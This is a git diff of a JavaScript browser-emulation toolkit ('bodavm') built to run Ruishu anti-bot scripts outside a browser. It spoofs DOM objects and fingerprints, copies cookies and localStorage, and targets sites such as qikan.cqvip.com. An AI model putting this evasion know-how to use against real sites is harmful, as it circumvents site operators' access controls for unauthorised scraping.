"MediaStream", - "TrustedTypePolicyFactory", - "Scheduler", - "CookieStore", - "RTCSessionDescription", - "RTCDataChannel", - "CacheStorage", - "Promise", - "OffscreenCanvasRenderingContext2D", - "DeprecatedStorageInfo", - "SpeechSynthesis", - "VisualViewport", - "BeforeInstallPromptEvent", - "BarProp", - "BaseAudioContext", - "BluetoothUUID", - "StyleMedia", - "Audio", - "Crypto", - "HTMLAudioElement", - "CDATASection", - "CredentialsContainer", - "Comment", - "DocumentFragment", - "DocumentType", - "DOMParser", - "Bluetooth", - "External", - "PointerEvent", - "WebSocket", - "SourceBuffer", - "DOMStringList", - "Headers", - "IDBObjectStore", - "IDBTransaction", - "IDBVersionChangeEvent", - "TextTrackList", - "SpeechSynthesisUtterance", - "MediaEncryptedEvent", - "MutationObserver", - "NamedNodeMap", - "NodeList", - "OfflineAudioContext", - "Path2D", - "LockManager", - "XPathExpression", - "Performance", - "ScreenOrientation", - "PerformanceEntry", - "PerformancePaintTiming", - "Permissions", - "PermissionStatus", - "Request", - "SVGElement", - "DeviceOrientationEvent", - "PresentationConnectionCloseEvent", - "SVGGraphicsElement", - "SVGGElement", - "SVGPatternElement", - "SVGGeometryElement", - "SVGPathElement", - "SVGSVGElement", - "SVGSymbolElement", - "SVGUseElement", - "WebGLShader", - "WebGLShaderPrecisionFormat", - "RTCPeerConnection", - "WebGLBuffer", - "WebGLProgram", - "CSS", - "Navigator", - "BatteryManager", - "Plugin", - "PluginArray", - "MimeType", - "MimeTypeArray", - "XMLHttpRequestEventTarget", - "XMLHttpRequest" -] - -deal_obj={} - -my_base_env='' - -config = open(r'D:\My_Dir\env_xbb_lastest_jsdom\config\config.js', 'r', encoding='utf-8').read() -toolsFunc = open(r'D:\My_Dir\env_xbb_lastest_jsdom\tools\toolsFunc.js', 'r', encoding='utf-8').read() -globalinit = open(r'D:\My_Dir\env_xbb_lastest_jsdom\tools\globalInit.js', 'r', encoding='utf-8').read() -toolsPrmoise = open(r'D:\My_Dir\env_xbb_lastest_jsdom\tools\toolsPromise.js', 'r', encoding='utf-8').read() -toolsPlugin = open(r'D:\My_Dir\env_xbb_lastest_jsdom\tools\toolsPlugin.js', 'r', encoding='utf-8').read() - -globalthis = open(r'D:\My_Dir\env_xbb_lastest_jsdom\tools\globalThis.js', 'r', encoding='utf-8').read() - - -def read_log(): - # print(deal_obj) - filter_list=[] - objname_filter=[] - my_env_code='' - my_proto_code='' - log_path=r'D:\My_Dir\env_xbb_lastest_jsdom\run\log.txt' - conetent_list=open(log_path,'r',encoding='utf-8').readlines() - for content in conetent_list: - try: - content_splite_space=content.split()[0] - if '_' in content_splite_space and (not content_splite_space.startswith('_')) and not content_splite_space.startswith("'"): - - content_splite_=content_splite_space.split('_') - obj_name,obj_proto,_=content_splite_ - if obj_name in env_list: - if obj_name not in objname_filter: - print(1111) - objname_filter.append(obj_name) - f=open(f'D:\My_Dir\env_xbb_lastest_jsdom\env\\{obj_name+".js"}','r',encoding="utf-8").read() - print(f) - my_proto_code+=f - obj=obj_name+'_'+obj_proto+'_'+_ - if obj not in filter_list: - - filter_list.append(obj) - res=deal_obj.get(obj) - my_env_code=my_env_code+res+'\r\n' - except: - pass - with open('myenv.js', 'w', encoding='utf-8') as f: - all_code=config+toolsFunc+my_proto_code+globalinit+toolsPrmoise+toolsPlugin+my_env_code+globalthis - f.write(all_code) - -def parse_env(): - envs=open(r'D:\My_Dir\env_xbb_lastest_jsdom\tools\envFunc.js','r',encoding='utf-8').readlines() - start=0 - suffix=0 - mycode='' - obj=None - end=0 - global deal_obj - for env in envs: - if start: - if '{' in env: - - suffix+=env.count('{') - if '}' in env: - suffix-=env.count('}') - if suffix ==0: - end=1 - if end ==0: - mycode =mycode+ env+';' - elif end: - mycode =mycode+ env+';' - deal_obj[obj] = mycode.lstrip().rstrip() - start = 0 - suffix = 0 - mycode = '' - obj = None - end=0 - - ''' - bodavm.envFunc.Document_onbeforecut_get = function Document_onbeforecut_get() { console.log("Document_onbeforecut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - ''' - # print(env) - elif 'bodavm.envFunc.' in env: - if '{' in env: - - suffix+=env.count('{') - if '}' in env: - suffix-=env.count('}') - start=1 - mycode+=env - env_splite_eq=env.split('=')[0] - obj=re.search('bodavm.envFunc.(.+)',env_splite_eq).group(1).strip() - # print('res',res) - - # print(deal_obj) - - - - -if __name__ == '__main__': - parse_env() - read_log() diff --git a/env_xbb_lastest_jsdom/config/changeDom.js b/env_xbb_lastest_jsdom/config/changeDom.js index fe614fbb..d2685211 100644 --- a/env_xbb_lastest_jsdom/config/changeDom.js +++ b/env_xbb_lastest_jsdom/config/changeDom.js @@ -1,6 +1,12 @@ -var canvassss=document.createElement("canvas") -var cccc=canvassss.getContext("2d") -var aaaaaa= +let canvassss=document.createElement("canvas") +let cccc=canvassss.getContext("2d") +let localstorage__={ + +} +for(let i in localStorage){ + localstorage__[i]=localStorage[i] +} +let aaaaaa= ` bodavm.memory.location={ origin:"${location.origin}", @@ -32,9 +38,20 @@ bodavm.memory.document={ hidden:"${document.hidden}", onmousemove:${document.onmousemove}, onselectionchange:${document.onselectionchange}, + cookie:'${document.cookie}' }; +bodavm.memory.cookies_=bodavm.memory.document['cookie'].split(';') +if (bodavm.memory.cookies_[0]){ + for (var i = 0; i < bodavm.memory.cookies_.length; i++) { + var cookie = bodavm.memory.cookies_[i].split("="); + bodavm.memory.globalInit.jsonCookie[cookie[0]] = cookie[1]; + } +} + + + bodavm.memory.htmldivelement={ align:"${HTMLDivElement.align}", @@ -80,7 +97,7 @@ bodavm.memory.navigator={ maxTouchPoints:${navigator.maxTouchPoints} }; bodavm.memory.window={ - name:${JSON.stringify(window.name)}, + // name:${JSON.stringify(window.name)}, innerWidth:1440, innerHeight:817, origin:${JSON.stringify(window.origin)}, @@ -110,7 +127,10 @@ bodavm.memory.window={ }; -bodavm.memory.localStorage={} + + +bodavm.memory.localStorage=${JSON.stringify(localstorage__)} + bodavm.memory.Performance={ 'getEntriesByType':${JSON.stringify(performance.getEntriesByType('resource'))}, diff --git a/env_xbb_lastest_jsdom/config/config.js b/env_xbb_lastest_jsdom/config/config.js index 32d947ae..5a40f090 100644 --- a/env_xbb_lastest_jsdom/config/config.js +++ b/env_xbb_lastest_jsdom/config/config.js @@ -55,8 +55,12 @@ bodavm.memory.cache={ HTMLIFrameElement_contentDocument_get:{}, HTMLElement_style_get:{}, location_ancestorOrigins_get:{ - - } + }, + Document_getElementsByName:{}, + Element_querySelectorAll:{ + }, + Document_querySelector:{}, + plugin:{} } bodavm.memory.collection={ @@ -71,15 +75,15 @@ bodavm.memory.collection={ // debugger bodavm.config.isdebug = false; //是否开启debugger bodavm.config.proxy = false; //是否代理 -bodavm.config.settime_on=true //是否开启settime +bodavm.config.settime_on=true //是否开启settime定时器执行 bodavm.config.isinit=true //实现 var bobo__2 = {};bobo__2.__proto__ = Document.prototype;bobo__2.activeElement // bodavm.config.getundefined=true //暂未实现 - +bodavm.memory.all = [] //网站为r4或者r5 设置为true 否则请关闭 -bodavm.config.isrs = true //判断当前网站是不是瑞数 +bodavm.config.isrs = false //判断当前网站是不是瑞数 //网站为r6 设置为true body设置为0 否则请把true改为false -bodavm.memory.rs6=false +bodavm.memory.rs6=true bodavm.memory.rs6_body=0 bodavm.memory.contentWindow_keys= [ "window", @@ -393,22 +397,22 @@ bodavm.memory.estimate={ } bodavm.memory.location={ - origin:"http://www.fangdi.com.cn", + origin:"https://qikan.cqvip.com", hash:"", - pathname:"/", + pathname:"/Qikan/Search", search:"", - href:"http://www.fangdi.com.cn/", + href:"https://qikan.cqvip.com/Qikan/Search", port:"", - protocol:"http:", - host:"www.fangdi.com.cn", + protocol:"https:", + host:"qikan.cqvip.com", ancestorOrigins:'{}', - hostname:"www.fangdi.com.cn" + hostname:"qikan.cqvip.com" }; bodavm.memory.document={ - URL:"http://www.fangdi.com.cn/", - referrer:"", - documentURI:"http://www.fangdi.com.cn/", + URL:"https://qikan.cqvip.com/Qikan/Search", + referrer:"https://qikan.cqvip.com/Qikan/Search", + documentURI:"https://qikan.cqvip.com/Qikan/Search", compatMode:"CSS1Compat", dir:"", title:'', @@ -416,15 +420,26 @@ bodavm.memory.document={ readyState:"loading", contentType:"text/html", inputEncoding:"UTF-8", - domain:"www.fangdi.com.cn", + domain:"qikan.cqvip.com", characterSet:"UTF-8", charset:"UTF-8", hidden:"false", onmousemove:null, onselectionchange:null, + cookie:'' }; +bodavm.memory.cookies_=bodavm.memory.document['cookie'].split(';') +if (bodavm.memory.cookies_[0]){ + for (var i = 0; i < bodavm.memory.cookies_.length; i++) { + var cookie = bodavm.memory.cookies_[i].split("="); + bodavm.memory.globalInit.jsonCookie[cookie[0]] = cookie[1]; + } +} + + + bodavm.memory.htmldivelement={ align:"undefined", @@ -443,49 +458,49 @@ bodavm.memory.screen={ colorDepth:24, availLeft:0, availTop:0, - isExtended:undefined, + isExtended:false, orientation:{}, - onchange:undefined, + onchange:null, }; bodavm.memory.navigator={ language:"zh-CN", - userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36", - appVersion:"5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36", + userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", + appVersion:"5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", vendor:"Google Inc.", appName:"Netscape", appCodeName:"Mozilla", cookieEnabled:true, languages:["zh-CN","zh"], productSub:"20030107", - userAgentData:undefined, - xr:undefined, + userAgentData:{"brands":[{"brand":"Not.A/Brand","version":"8"},{"brand":"Chromium","version":"114"},{"brand":"Google Chrome","version":"114"}],"mobile":false,"platform":"Windows"}, + xr:{}, platform:'Win32', webkitPersistentStorage:{}, connection:{}, javaEnabled:false, product:'Gecko', vendorSub:"", - deviceMemory:undefined, + deviceMemory:8, maxTouchPoints:0 }; bodavm.memory.window={ - name:"&$_YWTU=lRzTTHdK5V5grEpcYrNcVfSndG.5OUB8t900nZWO7VA&$_cDro=0&vdFm=", + name:"$_YWTU=slV7JU4yFXZHGjxr0vT00ktBZ7LF3cvbYHH_at.kEHG&$_YVTX=Wq&vdFm=__bid_n%3D18886761d16873664bbaa2", innerWidth:1440, innerHeight:817, - origin:"http://www.fangdi.com.cn", + origin:"https://qikan.cqvip.com", outerWidth:1440, outerHeight:920, defaultStatus:undefined, defaultstatus:undefined, devicePixelRatio:1.5, - isSecureContext:false, + isSecureContext:true, length:0, status:"", onmessage:null, onbeforeunload:null, closed:false, - isSecureContext:false, + isSecureContext:true, onappinstalled:null, onbeforeinstallprompt:null, onbeforexrselect:null, @@ -500,11 +515,14 @@ bodavm.memory.window={ }; -bodavm.memory.localStorage={} + + +bodavm.memory.localStorage={"length":0} + bodavm.memory.Performance={ 'getEntriesByType':[], - 'timeOrigin':1684137107940.1 + 'timeOrigin':1685883191464.9 diff --git a/env_xbb_lastest_jsdom/config/env.config.js b/env_xbb_lastest_jsdom/config/env.config.js index d0c80a17..082f8cf6 100644 --- a/env_xbb_lastest_jsdom/config/env.config.js +++ b/env_xbb_lastest_jsdom/config/env.config.js @@ -876,6 +876,9 @@ filelist=[ "XRWebGLDepthInformation", "XRWebGLLayer", "XSLTProcessor", + //0531新增 + "Error", + "MemoryInfo", ] diff --git a/env_xbb_lastest_jsdom/decode.js b/env_xbb_lastest_jsdom/decode.js deleted file mode 100644 index 5628d119..00000000 --- a/env_xbb_lastest_jsdom/decode.js +++ /dev/null @@ -1,112 +0,0 @@ -// -/* - -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 - - */ -//babel库及文件模块导入 -const fs = require('fs'); - -//babel库相关,解析,转换,构建,生产 -const parser = require("@babel/parser"); -const traverse = require("@babel/traverse").default; -const types = require("@babel/types"); -const generator = require("@babel/generator").default; -//读取文件 -let encode_file = "./jscode.js", decode_file = "./result.js"; //自己可以调整路径 -const path = require('path'); - - -function readDirAndModifyFiles(dirPath, callback) { - fs.readdir(dirPath, (err, files) => { - if (err) { - console.error(err); - return; - } - files.forEach(file => { - const filePath = path.join(dirPath, file); - fs.stat(filePath, (err, stats) => { - if (err) { - console.error(err); - return; - } - debugger - if (stats.isDirectory()) { - readDirAndModifyFiles(filePath, callback); - } else { - fs.readFile(filePath, 'utf8', (err, data) => { - // console.log(data) - let ast = parser.parse(data); - traverse(ast, { - ObjectExpression(path) { - path.node.properties.forEach(prop => { - if (prop.key.name === 'value' && types.isFunctionExpression(prop.value)) { - prop.value = types.callExpression(prop.value, []); - } - }); - } - }); - // traverse(ast, test, opt = {}); - // console.log('message部分完成!!!') - data= generator(ast).code - - if (err) { - console.error(err); - } else { - const modifiedData = callback(data); - fs.writeFile(filePath, modifiedData, (err) => { - if (err) { - console.error(err); - } else { - console.log(`File ${filePath} is saved.`); - } - }); - } - }); - } - }); - }); - }); -} - -const dirPath = 'D:\\My_Dir\\env_xbb_lastest_jsdom\\env'; - -// 修改文件内容的回调函数 -function modifyFileContent(data) { - // 在文件内容前面添加一行文字 - return data; -} - -readDirAndModifyFiles(dirPath, modifyFileContent); - - -// -// let jscode = fs.readFileSync(encode_file, {encoding: "utf-8"}); -// //转换为ast树 -// let ast = parser.parse(jscode); -// traverse(ast, { -// ObjectExpression(path) { -// path.node.properties.forEach(prop => { -// if (prop.key.name === 'value' && types.isFunctionExpression(prop.value)) { -// prop.value = types.callExpression(prop.value, []); -// } -// }); -// } -// }); -// // traverse(ast, test, opt = {}); -// console.log('message部分完成!!!') -// let {code} = generator(ast) -// -// -// -// console.log(code) -// // -// fs.writeFile(decode_file, code, (err) => { -// }); diff --git a/env_xbb_lastest_jsdom/decode2.js b/env_xbb_lastest_jsdom/decode2.js deleted file mode 100644 index a687fede..00000000 --- a/env_xbb_lastest_jsdom/decode2.js +++ /dev/null @@ -1,50 +0,0 @@ -// -/* - -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 -别删除!!!!!!!!!!!!!!!!!!!!!!!!!!!1 - - */ -//babel库及文件模块导入 -const fs = require('fs'); - -//babel库相关,解析,转换,构建,生产 -const parser = require("@babel/parser"); -const traverse = require("@babel/traverse").default; -const types = require("@babel/types"); -const generator = require("@babel/generator").default; -//读取文件 -let encode_file = "D:\\My_Dir\\env_xbb_lastest_jsdom\\tools\\globalThis.js", decode_file = "./result.js"; //自己可以调整路径 -const path = require('path'); - - - -// -let jscode = fs.readFileSync(encode_file, {encoding: "utf-8"}); -//转换为ast树 -let ast = parser.parse(jscode); -traverse(ast, { - ObjectExpression(path) { - path.node.properties.forEach(prop => { - if (prop.key.name === 'value' && types.isFunctionExpression(prop.value)) { - prop.value = types.callExpression(prop.value, []); - } - }); - } -}); -// traverse(ast, test, opt = {}); -console.log('message部分完成!!!') -let {code} = generator(ast) - - - -console.log(code) -// -fs.writeFile(decode_file, code, (err) => { -}); diff --git a/env_xbb_lastest_jsdom/env copy/Attr.js b/env_xbb_lastest_jsdom/env copy/Attr.js new file mode 100644 index 00000000..e5776cb1 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Attr.js @@ -0,0 +1,16 @@ +// Attr对象 +bodavm.memory.globalobj['Attr'] = function Attr(){ + + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") + // this.isinit=bodavm.config.isinit +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Attr'], "Attr"); +bodavm.memory.globalobj['Attr'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['Attr'].__proto__=bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('Attr', "namespaceURI", {configurable:true, enumerable:true, get:function namespaceURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "namespaceURI_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "prefix", {configurable:true, enumerable:true, get:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "prefix_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "localName", {configurable:true, enumerable:true, get:function localName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "localName_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "name_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "value_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "ownerElement", {configurable:true, enumerable:true, get:function ownerElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "ownerElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "specified", {configurable:true, enumerable:true, get:function specified (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "specified_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Audio.js b/env_xbb_lastest_jsdom/env copy/Audio.js new file mode 100644 index 00000000..26244f17 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Audio.js @@ -0,0 +1,10 @@ +// Audio对象 +bodavm.memory.globalobj['Audio'] = function Audio(){ + if (!(this instanceof Audio)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Audio': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + + +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Audio'], "Audio"); +bodavm.memory.globalobj['Audio'].prototype.__proto__=bodavm.memory.globalobj['HTMLMediaElement'].prototype; diff --git a/env_xbb_lastest_jsdom/env copy/BarProp.js b/env_xbb_lastest_jsdom/env copy/BarProp.js new file mode 100644 index 00000000..f565f4d9 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/BarProp.js @@ -0,0 +1,25 @@ +// BarProp对象 +bodavm.memory.globalobj['BarProp'] = function BarProp(){ + + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BarProp'], "BarProp"); +bodavm.toolsFunc.defineProperty('BarProp', "visible", {configurable:true, enumerable:true, get:function visible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BarProp'].prototype, "BarProp", "visible_get", arguments)}, set:undefined},'prototype'); + +// locationbar对象 +bodavm.memory.globalobj['locationbar'] = {} +bodavm.memory.globalobj['locationbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; + +bodavm.memory.globalobj['menubar'] ={} +bodavm.memory.globalobj['menubar'].__proto__= bodavm.memory.globalobj['BarProp'].prototype; + +bodavm.memory.globalobj['statusbar'] ={} +bodavm.memory.globalobj['statusbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype + +bodavm.memory.globalobj['toolbar'] ={} +bodavm.memory.globalobj['toolbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype + +bodavm.memory.globalobj['personalbar'] ={} +bodavm.memory.globalobj['personalbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype + +bodavm.memory.globalobj['scrollbars'] ={} +bodavm.memory.globalobj['scrollbars'].__proto__=bodavm.memory.globalobj['BarProp'].prototype \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env copy/BaseAudioContext.js b/env_xbb_lastest_jsdom/env copy/BaseAudioContext.js new file mode 100644 index 00000000..411342dd --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/BaseAudioContext.js @@ -0,0 +1,31 @@ +// BaseAudioContext对象 +bodavm.memory.globalobj['BaseAudioContext'] = function BaseAudioContext(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BaseAudioContext'], "BaseAudioContext"); +bodavm.memory.globalobj['BaseAudioContext'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BaseAudioContext'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BaseAudioContext', "destination", {configurable:true, enumerable:true, get:function destination (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "destination_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "currentTime_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "sampleRate", {configurable:true, enumerable:true, get:function sampleRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "sampleRate_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "listener", {configurable:true, enumerable:true, get:function listener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "listener_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "state_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "onstatechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createAnalyser", {configurable:true, enumerable:true, writable:true, value:function createAnalyser (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createAnalyser", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBiquadFilter", {configurable:true, enumerable:true, writable:true, value:function createBiquadFilter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBiquadFilter", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBuffer", {configurable:true, enumerable:true, writable:true, value:function createBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBufferSource", {configurable:true, enumerable:true, writable:true, value:function createBufferSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBufferSource", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createChannelMerger", {configurable:true, enumerable:true, writable:true, value:function createChannelMerger (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createChannelMerger", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createChannelSplitter", {configurable:true, enumerable:true, writable:true, value:function createChannelSplitter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createChannelSplitter", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createConstantSource", {configurable:true, enumerable:true, writable:true, value:function createConstantSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createConstantSource", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createConvolver", {configurable:true, enumerable:true, writable:true, value:function createConvolver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createConvolver", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createDelay", {configurable:true, enumerable:true, writable:true, value:function createDelay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createDelay", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createDynamicsCompressor", {configurable:true, enumerable:true, writable:true, value:function createDynamicsCompressor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createDynamicsCompressor", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createGain", {configurable:true, enumerable:true, writable:true, value:function createGain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createGain", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createIIRFilter", {configurable:true, enumerable:true, writable:true, value:function createIIRFilter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createIIRFilter", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createOscillator", {configurable:true, enumerable:true, writable:true, value:function createOscillator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createOscillator", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createPanner", {configurable:true, enumerable:true, writable:true, value:function createPanner (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createPanner", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createPeriodicWave", {configurable:true, enumerable:true, writable:true, value:function createPeriodicWave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createPeriodicWave", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createScriptProcessor", {configurable:true, enumerable:true, writable:true, value:function createScriptProcessor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createScriptProcessor", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createStereoPanner", {configurable:true, enumerable:true, writable:true, value:function createStereoPanner (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createStereoPanner", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createWaveShaper", {configurable:true, enumerable:true, writable:true, value:function createWaveShaper (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createWaveShaper", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "decodeAudioData", {configurable:true, enumerable:true, writable:true, value:function decodeAudioData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "decodeAudioData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "audioWorklet", {configurable:true, enumerable:true, get:function audioWorklet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "audioWorklet_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/BatteryManager.js b/env_xbb_lastest_jsdom/env copy/BatteryManager.js new file mode 100644 index 00000000..08655c37 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/BatteryManager.js @@ -0,0 +1,13 @@ +// BatteryManager对象 +bodavm.memory.globalobj['BatteryManager'] = function BatteryManager(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BatteryManager'], "BatteryManager"); +bodavm.memory.globalobj['BatteryManager'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; 